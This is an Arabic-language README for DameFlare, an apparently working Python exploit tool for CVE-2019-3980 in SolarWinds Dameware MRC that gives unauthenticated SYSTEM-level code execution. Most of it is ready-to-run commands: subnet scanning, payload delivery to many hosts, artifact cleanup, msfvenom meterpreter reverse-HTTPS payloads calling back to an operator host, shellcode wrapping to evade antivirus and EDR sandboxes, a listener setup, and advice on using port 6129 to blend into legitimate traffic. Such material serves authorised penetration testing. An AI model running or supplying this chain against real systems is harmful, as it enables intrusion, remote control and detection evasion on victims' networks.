
استغلال بلغة Python 3 لثغرة CVE-2019-3980. تنفيذ أوامر عن بعد غير مصادق عليه بصلاحيات SYSTEM عبر تجاوز مصادقة البطاقة الذكية في SolarWinds Dameware MRC.

تنفيذ تعليمات برمجية عن بعد غير مصرح به عبر تجاوز مصادقة البطاقة الذكية في SolarWinds Dameware MRC
CVE-2019-3980 | CVSS 9.8 حرج | TCP/6129 البحث الأصلي وإثبات المفهوم: Tenable, Inc. (TRA-2019-43) أداة Python 3: David Boyd (@Fir3d0g)
يكشف Dameware MRC عن خدمة تحكم عن بعد (DWRCS.exe) على TCP/6129. أثناء المصافحة الخاصة بمصادقة البطاقة الذكية، يقبل الخادم ملفًا يتحكم به المهاجم كمثبت برنامج تشغيل البطاقة الذكية (dwDrvInst.exe) وينفذه بصلاحيات SYSTEM، دون الحاجة إلى أي مصادقة.
يقوم DameFlare بتنفيذ المصافحة الكاملة للبروتوكول (التفاوض على الإصدار ← اشتقاق مفتاح AES ← تبادل مفاتيح Diffie-Hellman ← توقيع RSA ← تحميل برنامج التشغيل) لتوصيل حمولة عشوائية وتحقيق تنفيذ تعليمات برمجية عن بعد بدون مصادقة.
| المنتج | معرض للخطر | تم الإصلاح |
|---|---|---|
| Dameware MRC 12.0.x | جميع الإصدارات | Hotfix 1 |
| Dameware MRC 12.1.x | جميع الإصدارات | Hotfix 3 |
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
إزالة الأثر dwDrvInst.exe من الهدف بعد الاستغلال:
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup
يتطلب وجود msfvenom في PATH. يقوم بتحميل ملف EXE يحذف نفسه ويزيل dwDrvInst.exe بعد تأخير قصير.
بدلاً من ذلك، إذا كانت لديك بيانات اعتماد، يمكنك استخدام شيء مثل NXC:
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe
قم بتغليف الشيلكود الخام بمفاتيح بيئية لتجنب تحليل صندوق الرمل لمكافحة الفيروسات/اكتشاف نقطة النهاية والاستجابة. لن تقوم الحمولة بفك التشفير والتنفيذ إلا على جهاز تتطابق فيه المفاتيح. شكر كبير لـ Kevin Clark (@GuhnooPlusLinux) على عمله الرائع!
# Key on domain and hostname (use short names, not FQDN)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
# Key on domain only
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe
# Static key only (useful for testing)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe
# Alternative injection methods if srdi-shellcode is caught
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"
ملاحظة: يجب أن يتطابق اسم الحمولة تمامًا بين msfvenom والمعالج:
- بدون مراحل:
windows/x64/meterpreter_reverse_https(شرطة سفلية)- مع مراحل:
windows/x64/meterpreter/reverse_https(شرطة مائلة)
نصيحة: في بيئات Dameware، غالبًا ما يُسمح بالمنفذ
6129في الاتصالات الصادرة ويندمج مع حركة مرور DWRCS المشروعة. إذا كان المنفذ443محظورًا أو تم فحصه بواسطة وكيل، جربLPORT=6129حيث من المرجح أن الشبكة المستهدفة صُممت للسماح به.
هذه الأداة مخصصة للاستخدام في اختبار الاختراق المرخص وعمليات الفريق الأحمر فقط. لا يتحمل المؤلف أي مسؤولية عن الاستخدام غير المصرح به أو غير القانوني.